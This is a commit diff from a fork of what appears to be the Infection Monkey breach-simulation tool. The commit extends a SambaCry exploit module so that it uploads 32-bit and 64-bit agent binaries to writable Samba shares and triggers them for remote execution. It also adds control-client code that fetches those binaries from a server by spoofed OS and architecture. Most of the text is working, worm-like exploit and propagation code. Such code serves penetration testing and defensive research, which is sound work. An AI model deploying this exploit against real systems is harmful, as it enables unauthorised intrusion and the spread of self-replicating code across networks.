forked from p15670423/monkey
SambaCry now works for both 32,64bit
This commit is contained in:
parent
c612ea0361
commit
c8d7a2c4d3
|
@ -156,22 +156,50 @@ class ControlClient(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def download_monkey_exe(host):
|
def download_monkey_exe(host):
|
||||||
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||||
|
if filename is None:
|
||||||
|
return None
|
||||||
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||||
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||||
|
ControlClient.spoof_host_os_info(is_windows, is_32bit))
|
||||||
|
if filename is None:
|
||||||
|
return None
|
||||||
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def spoof_host_os_info(is_windows, is_32bit):
|
||||||
|
if is_windows:
|
||||||
|
os = "windows"
|
||||||
|
if is_32bit:
|
||||||
|
arc = "x86"
|
||||||
|
else:
|
||||||
|
arc = "amd64"
|
||||||
|
else:
|
||||||
|
os = "linux"
|
||||||
|
if is_32bit:
|
||||||
|
arc = "i686"
|
||||||
|
else:
|
||||||
|
arc = "x86_64"
|
||||||
|
|
||||||
|
return \
|
||||||
|
{
|
||||||
|
"os":
|
||||||
|
{
|
||||||
|
"type": os,
|
||||||
|
"machine": arc
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_monkey_exe_by_filename(filename, size):
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
return None
|
return None
|
||||||
try:
|
try:
|
||||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
|
||||||
data=json.dumps(host.as_dict()),
|
|
||||||
headers={'content-type': 'application/json'},
|
|
||||||
verify=False, proxies=ControlClient.proxies)
|
|
||||||
|
|
||||||
if 200 == reply.status_code:
|
|
||||||
result_json = reply.json()
|
|
||||||
filename = result_json.get('filename')
|
|
||||||
if not filename:
|
|
||||||
return None
|
|
||||||
size = result_json.get('size')
|
|
||||||
dest_file = monkeyfs.virtual_path(filename)
|
dest_file = monkeyfs.virtual_path(filename)
|
||||||
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||||
return dest_file
|
return dest_file
|
||||||
else:
|
else:
|
||||||
download = requests.get("https://%s/api/monkey/download/%s" %
|
download = requests.get("https://%s/api/monkey/download/%s" %
|
||||||
|
@ -191,7 +219,35 @@ class ControlClient(object):
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
return None
|
@staticmethod
|
||||||
|
def get_monkey_exe_filename_and_size_by_host(host):
|
||||||
|
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||||
|
if not WormConfiguration.current_server:
|
||||||
|
return None, None
|
||||||
|
try:
|
||||||
|
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||||
|
data=json.dumps(host_dict),
|
||||||
|
headers={'content-type': 'application/json'},
|
||||||
|
verify=False, proxies=ControlClient.proxies)
|
||||||
|
|
||||||
|
if 200 == reply.status_code:
|
||||||
|
result_json = reply.json()
|
||||||
|
filename = result_json.get('filename')
|
||||||
|
if not filename:
|
||||||
|
return None, None
|
||||||
|
size = result_json.get('size')
|
||||||
|
return filename, size
|
||||||
|
else:
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
except Exception, exc:
|
||||||
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
|
return None, None
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_control_tunnel():
|
def create_control_tunnel():
|
||||||
|
|
|
@ -18,7 +18,7 @@ import monkeyfs
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import DROPPER_ARG
|
from model import DROPPER_ARG
|
||||||
from network.smbfinger import SMB_SERVICE
|
from network.smbfinger import SMB_SERVICE
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline, get_target_monkey_by_os
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter):
|
||||||
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||||
"""
|
"""
|
||||||
# TODO: is this credit sufficient?
|
|
||||||
_target_os_type = ['linux']
|
_target_os_type = ['linux']
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
if not self.is_vulnerable(host):
|
if not self.is_vulnerable(host):
|
||||||
return False
|
return False
|
||||||
|
@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
host.services[SMB_SERVICE]["shares"] = {}
|
host.services[SMB_SERVICE]["shares"] = {}
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
|
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
||||||
|
|
||||||
# Wait for samba server to load .so, execute code and create result file.
|
# Wait for samba server to load .so, execute code and create result file.
|
||||||
time.sleep(self._config.sambacry_trigger_timeout)
|
time.sleep(self._config.sambacry_trigger_timeout)
|
||||||
|
@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
|
def try_exploit_share(self, host, share, creds, depth):
|
||||||
"""
|
"""
|
||||||
Tries exploiting share
|
Tries exploiting share
|
||||||
:param host: victim Host object
|
:param host: victim Host object
|
||||||
|
@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||||
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
|
self.upload_module(smb_client, host, share, depth)
|
||||||
self.trigger_module(smb_client, share)
|
self.trigger_module(smb_client, share)
|
||||||
smb_client.close()
|
smb_client.close()
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
|
@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
return writable
|
return writable
|
||||||
|
|
||||||
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
|
def upload_module(self, smb_client, host, share, depth):
|
||||||
"""
|
"""
|
||||||
Uploads the module and all relevant files to server
|
Uploads the module and all relevant files to server
|
||||||
:param smb_client: smb client object
|
:param smb_client: smb client object
|
||||||
|
@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter):
|
||||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||||
# TODO: Fix or postpone 32/64 architecture problem.
|
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||||
|
|
||||||
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
|
||||||
|
|
||||||
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
||||||
|
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
|
@ -442,6 +442,9 @@ def get_target_monkey(host):
|
||||||
|
|
||||||
return monkey_path
|
return monkey_path
|
||||||
|
|
||||||
|
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
|
from control import ControlClient
|
||||||
|
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth, location=None):
|
def build_monkey_commandline(target_host, depth, location=None):
|
||||||
from config import WormConfiguration, GUID
|
from config import WormConfiguration, GUID
|
||||||
|
|
Loading…
Reference in New Issue